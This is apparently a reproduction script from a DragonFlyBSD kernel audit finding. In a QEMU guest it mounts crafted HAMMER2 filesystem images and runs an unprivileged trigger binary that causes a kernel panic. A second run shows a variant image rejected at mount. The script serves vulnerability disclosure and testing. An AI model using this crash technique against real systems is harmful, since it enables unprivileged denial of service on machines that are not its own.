DragonFlyBSD Kernel Audit
DF-2649 / run.sh
← back to finding ↓ download raw
#!/bin/sh
# DF-2649 run A: v1 image (mounts; unprivileged bulkfree reaches chain_lock
# on the forged PFSROOT chain; out-of-volume offset manifests DF-0875's
# hammer2_get_volume panic on this guest).
ssh -F dfbsd-qemu/config dfbsd 'vnconfig -u vn0 2>/dev/null; \
  vnconfig -c vn0 /tmp/craft2649_v1.img && mkdir -p /mnt/h2x && \
  mount -t hammer2 /dev/vn0@testvol /mnt/h2x && echo MOUNT_OK && \
  su -m nobody -c "/tmp/trigger /mnt/h2x/f1"; echo TRIGGER_RC=$?'
echo "---- vm.sh log: panic: no volume for offset 0x0000000100000000 (DF-0875 manifestation)"
# run B: volu_size-inflated variant is rejected at mount
ssh -F dfbsd-qemu/config dfbsd 'vnconfig -u vn0 2>/dev/null; \
  vnconfig -c vn0 /tmp/craft2649_volusize.img && mkdir -p /mnt/h2x && \
  mount -t hammer2 /dev/vn0@testvol /mnt/h2x; echo MOUNT_RC=$?'